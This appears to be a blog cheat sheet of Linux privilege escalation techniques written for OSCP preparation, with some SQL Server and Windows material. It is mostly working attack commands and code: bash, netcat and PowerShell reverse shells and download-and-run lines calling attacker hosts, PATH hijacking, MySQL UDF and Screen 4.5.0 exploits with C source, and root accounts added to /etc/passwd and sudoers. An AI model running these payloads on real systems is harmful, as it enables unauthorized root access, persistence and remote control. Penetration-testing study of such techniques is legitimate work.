Linux Privilege Escalation Techniques


Hello everyone, below are the Linux Privilege Escalation Techniques. The below commands and techniques are the ones that I gathered when preparing for OSCP, it might help you a lot as well. If you are looking for privilege escalation commands here you go --> Linux Privilege Escalation Commands and here is Windows Privilege Escalation command and Techniques 


THIS IS MERELY CREATED FOR EDUCATIONAL & ETHICAL PURPOSE ONLY, AUTHOR IS NOT RESPONSIBLE FOR ANY ILLEGAL ACTIVITIES DONE BY THE VISITORS



Linux Privilege Escalation Techniques 

Binary PrivEsc

file binary

strings binary 

cat binary

ls -la binary

Check the file to see if its executing any commands. 

Check for the file paths; 

If the command is cat instead of /bin/cat --> path injection might be possible 

decrease the size of terminal and check for changes

less binary

./binary | less   //Try Getting an Interactive shell with less
      //Then !Command to execute the command, it might only work with a definite screen size

./binary anycommand && /bin/bash 
Exploiting the Binary's Path Used in a Binary


for example in a binary /usr/local/bin/devil  (Has ROOT Privs) - there is a command which uses "cat" and 
calling a file from /home/freak ;  

cd /home/freak/

echo "/bin/sh" > cat 
export PATH=/home/freak:/freak:$PATH
/usr/local/bin/devil                 /GET ROOT 
Priv Esc using Path Injection 

this technique can be used when an absolute path is not defined for an executable in any script or sercice

cd /tmp
echo 'bash -i >& /dev/tcp/10.10.10.10/9002 0>&1' >gzip
echo  'chmod u+s /bin/bash' > suid
chmod +x gzip
export PATH=/tmp:$PATH

#execute the script as root which is using gzip(example) in it. 
sudo /opt/script.sh

#SUID permission should look like
#-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash

#for suid permissions run
/bin/bash  -p
Priv Esc - When you can run Nginx as root without password

#Create a new nginx.conf file as below 

user root;
worker_processes auto;
pid /run/nginx2.pid;
include /etc/nginx/modules-enabled/*.conf;
events{
	worker_connections 768;
}
http {
	server {
		listen 9002;
		location / {
			root /;
			autoindex on;
			dav_methods PUT;
		}
	}
}

#Run the config file as root 
sudo nginx -c /tmp/nginx.conf


#Check if a new port is opened or not
ss -lntp | grep 9002
LISTEN 0      511          0.0.0.0:9002       0.0.0.0:*   

#now you can access the files on the server using curl
curl http://127.0.0.1:9002/etc/passwd

#Rev shell 
# dav_methods PUT; enables PUT on the server, use it to upload a shell and run it
# or Upload your authorized keys file to /root/.ssh/authorized_keys
curl 127.0.0.1:9001/root/.ssh/authorized_keys --upload-file your_key.pub

#You can also create a cron job on the server as below 
#cron file contents, run it every 1 min to spawn a shell 
1 * * * * * bash -i >& /dev/tcp/Attacker_IP/9001 0>&1 

curl 127.0.0.1:9001/var/spool/crontab/root --upload-file cron

Getting Root Using Mysql; When mysql is running as root -- Priv Esc


locate udf             ///usr/lib/lib_mysqludf_sys.so --> this is essential for this exploit to work.

mysql -u root -p 
select sys_exec('usermod -a -G admin john')   //Giving root privileges

ctrl + C 

sudo su    //enter user password .. you are root now 


Method II:
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';

select sys_exec('chmod u+s /bin/bash');

ctrl + c 

bash -p

Reference - Windows & Linux


Method - III -> Mysql 4.x - 5.x

searchsploit -m exploits/linux/local/1518.c

on Target Machine: 

cd /tmp
wget http://192.168.0.2/1518.c

cp 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc


mysql -u root -p


use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
//If this doesnt work try this --> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';

select * from mysql.func;

select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');

\! sh

cat /tmp/out

exit
exit 

cd /tmp 

vi getroot.c     //add the below content to this 

int main()
{
 setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    system("/bin/bash");
    return 0;
}
mysql -u root -p 
select * from mysql.func;

//Creating a SUID Binary

select do_system('gcc -o /tmp/getroot /tmp/getroot.c');

select do_system('chmod u+s /tmp/getroot');

exit 
exit 
cd /tmp
./getroot
 

For Windows Follow This --> Github Exploit  Video Tutorial 
Postgresql Is Running As Root

psql -h 127.0.0.1 -d DB_NAME -U unixusrmgr  //Enter Password later 

\dt    \\List Tables
\dp     \\Get DB privileges
select * from table_name; \\ Check Home Directory (just in case) 

Example to Update a value in all rows:
update table_name set gid=0 where gid=1001; \Giving Root Privs

or 
insert into passwd_table (username,passwd,gid,homedir) values ('freak','openssl_encrypted password',0,'/');

Priv Esc When CAT is being used in system() function"

when an executable file is running cat in a system("cat /home/bhanu/root.txt"),
we can create a new path variable to our required directory, which results in
loading the last set path first and checks for the executable first in the last set 
directory. 

echo $PATH
//      /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

echo "/bin/bash" > cat

chmod 777 cat 

export PATH=/home/bhanu

echo $PATH
//      /home/bhanu

./file_to_run           /This file has the system() function with cat

#You get a new shell :) but as we deleted all the path variables - nothing will work,

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin   

Priv Esc When NMAP Is running as root

/usr/local/bin/nmap  --interactive

!sh 
Priv Esc When wget is running as root

Copy the /etc/passwd from the target machine 

On KALI: 

paste the /etc/passwd from the target and add this line at the end.

bhanu:$1$freak$/IWD8R6aL2zyhUZPUeAXm.:0:0::/root:/bin/bash

on Target:

sudo wget -O /etc/passwd http://10.10.14.13/passwd
 
su bhanu
password
Priv Esc When Find is Running as root 
find /home -exec sh -i \;
Priv Esc when "Perl"  is running as root

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Priv Esc When "PWD" is being used in a Binary

export PWD=\$\(/bin/bash\)            //In the same directory as of the binary 
Priv Esc with Spice Ports

netstat -anlp | grep LIST

127.0.0.15900 
127.0.0.15901 
127.0.0.15902               //are running 

ps -ef | grep 5900         // shows what it is --> spice Port; libvert+

On Kali:

remote-viewer           // apt install virt-viewer

proxychains remote-viewer spice://127.0.0.1:5900

proxychains remote-viewer spice://127.0.0.1:5901

proxychains remote-viewer spice://127.0.0.1:5902

when VNC opens --> send key --> ctrl+alt+del --> system reboots

interrupt the process --> press e 

go to last but one line --> change "ro" to rw init=/bin/sh

passwd              //change the password
sync
Priv Esc When /etc/passwd is World Writable

openssl passwd -1 -salt freak password 
      --> used to generate salted password for /etc/passwd file; 
freak = salt 
password = password

$1$freak$/IWD8R6aL2zyhUZPUeAXm. --> Hashed Password

username: Salted Value of username and password:0:0::root:/root:/bin/bash 
                --> create a new account with Root privileges 

echo 'bhanu:$1$freak$/IWD8R6aL2zyhUZPUeAXm.:0:0::/root:/bin/bash' >>/etc/passwd
            --> add this entry to /bin/passwd to get root access

su bhanu password: password 
Priv Esc When /bin/bash or /bin/sh is SUID 

/bin/bash -p             / -p == runs without changing privs  
/bin/sh -p              / -p == runs without changing privs  
Priv Esc when Snapd < 2.37.1 is running

snap version               //Check for version - anything before 2.37.1 is vulnerable

Use this exploit          // Creates a new account 

su dirty_sock            //password: dirty_sock

snap changes            //See changes - if sudo doesnt work
Priv Esc When Screen 4.5.0 is running as Root

https://www.exploit-db.com/exploits/41154 

save the below content into rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

gcc -o /tmp/rootshell /tmp/rootshell.c   //Compile it


save the below content into libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c   //Compile it


copy both the executable into /tmp directory in the target machine ..

Follow the below commands:

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" 
screen -ls
/tmp/rootshell 
When Wildcard is used in Sudo 

sudo -l 

//Wildcard example --> /home/*/*/file.txt (This case is vulnerable)
/var/www/*/*/file.txt

dpkg -l sudo             //1.8.16 sudo is vulnerable 

searchsploit sudoedit

searchsploit -m linux/local/37710.txt

Exploitation:

mkdir folder1
cd folder1
mkdir folder2
cd folder2
ln -s /home/username/.ssh/authorized_keys file.html      //Create a symbolic link 

sudoedit -u username /var/www/folder1/folder2/file.html  //add id-rsa.pub here 

OR

sudoedit -u username /var/www/ .ssh/authorized_keys /file.html    //text editor will open the text as 2 files, where .ssh/authorized_keys can be edited

On Kali: ssh-keygen   //Copy the id_rsa.pub to authorized_keys which is file.html

ssh -i id_rsa username@IP_ADDRESS 
Priv Esc for chkrootkit

cd /etc/crontab    //chkrootkit is running 

dpkg -l chkrootkit  // chkrootkit     0.49-4ubuntu1.

searchsploit -m exploits/linux/local/33899.txt

cd /tmp 

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

sudo su   //After the crontab time, run this and get root :) 

ssh bhanu@10.10.10.10 -t "/bin/bash"      --> Escaping Limited Shell using ssh

Running Applications using SSH

ssh 10.10.14.37@10.10.10.119 "/usr/sbin/tcpdump -i ens33 -U -s0 -w - 'not port 22'" > network.cap

-s0 = capture everything; -w - = write the data; 'not port 22' = do not capture port 22 traffic 

wireshark -k network.cap               //-k = view the live traffic capture immediately.

ssh 10.10.14.37@10.10.10.119 "/usr/sbin/tcpdump -i lo -U -s0 -w - 'not port 22'" | wireshark -k -i -
//View Live Traffic
echo os.system("/bin/bash")       --> Escaping Limited Shell using ssh       
Priv Esc Using LdapSearch


Might be useful --> Ldapsearch usage by Digital Ocean

cd /home/user/
cat ~/.ldaprc       # if you read/see this file - you can authenticate

#Enumerate Users
ldapsearch -x -LLL -w P@SSWORD!    

ldap can be used to exploit ssh access. if you have permission to ldap - 
you can change the permission of a user and make them root user and allow ssh access

#Select a proper/useful group which has more priv than you ex;root/sudo 
cat /etc/group

#Create a SSH public and private key 
ssh-keygen -t rsa -f filename

#Select a user from the ldapseach results --> save the below into bhanu.idi
#Modify  gidNumber & sshPublicKey

dn: uid=bhanu,ou=users,ou=citrix,ou=servers,dc=steins,dc=local
changetype: modify
replace: homeDirectory
homeDirectory: /root
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF3YcLaP/D6s/u2bpsdAGcazs7sGTiQq9VUqe6i07vNzNeVk64Ua/vAZ7YZ5UTc8879aAOKWIAy9ivh2H6iB2qqAIxD9x+lZE4PsAy9ViFxkVUqzsFZ7fwyeqreDXH/8JB/EqoU2+lV564PvfH4WgUU1w3zgeeQ9NvWQTPHQcvuHYnDMPOntLWmLwQIAQMoEwbsH3Tdc0yfkvtY5j8E1USySyiPt+yYbLQNWuJ0eEPHivlLWphd84fl5kIEVUYHJEvZXRAthrq2b+G/DeIDqps6UVbLQt8vQt2z7ZjtnwZS4xAO2WeBn30hisdKpOov81D4AQBHYo5BeIZlFeH/oEExybph93TRZpQL9RwmMsql84tkvOPfGZrUTCQ7PUTQN03+9GKFyJcdPIQdC5OM3DA+P/eO8jLftVJsenDKk560nbrhCiTTCNhn7rijfMxOTwyTStuZ7rryuP7rYYI+hNv3J5zof8LYf6a8435IUT9foN9KtHTO64502V1BbMqJBM=
-
replace: userPassword
userPassword: P@ssword!
-
replace: gidNumber
gidNumber: 55

#Run ldapmodiy query to change the user's password and gid
ldapmodify -D "cn=currnet_user,dc=steins,dc=local  -w P@SSWORD! -f bhanu.ldi



Priv Esc when LdapSearch is running locally 

#searching for creds in nested gorups
ldapsearch -D "cn=currnet_user,dc=steins,dc=local  -w P@SSWORD!
-b'dc=steins,dc=local' -LLL -h 127.0.0.1 -p 389 -s sub "(objectClass=*)"
Connecting to SQL Server

sqsh -S 10.10.10.59 -U username -P passaword

xp_cmdshell 'whoami'            /execute commands

//If xp_commandshell is not turned on --> follow this 

EXEC SP_CONFIGURE 'show advanced options', 1
EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
go

EXEC SP_CONFIGURE 'xp_cmdshell', 1
reconfigure
go
xp_cmdshell 'whoami'
go

Getting a Reverse Shell
cp nishang/Shells/Invoke-PowerShellTcp.ps1 .

Add this line at the end of the file & Save it
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.11 -Port 900

python -m SimpleHTTPServer 8001

nc -nvlp 9001

xp_cmdshell "powershell IEX(New-Object Net.webClient).DownloadString('http://10.10.14.11:8001/nishang.ps1')"

we get shell on netcat connection
Priv Esc with Python Console 

import os
os.popen("whoami").read()

os.popen("find /etc | grep iptables").read()    //Check for accessible ports to connect via reverse shell
os.popen("base64 -w 0 /etc/iptables/rules.v4").read()      //Read Files as Base64; Check the accessible ports 

os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.0.0.1 1234 >/tmp/f").read()     //UDP Reverse Shell

nc -u -nvlp 1234   //Get a UDP Shell 
Priv Esc - Openssll capabilities: Read root files

getcap openssl     /This should be "ep"

openssl enc -in "/etc/passwd" 

openssl enc -in "/root/root.txt"


Getting a shell using Openssl

./openssl enc -in /etc/sudoers > sudoers

vi sudoers                      /add the below line in sudoers file. after root all(all) all
Username  ALL=(ALL)  ALL    

cat ./sudoers | ./openssl enc -out /etc/sudoers




Let me know if I missed something important and You can find Windows Privilege Escalation Cheatsheet here

Bhanu Namikaze

Bhanu Namikaze is an Ethical Hacker, Security Analyst, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and Capture the Flags. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment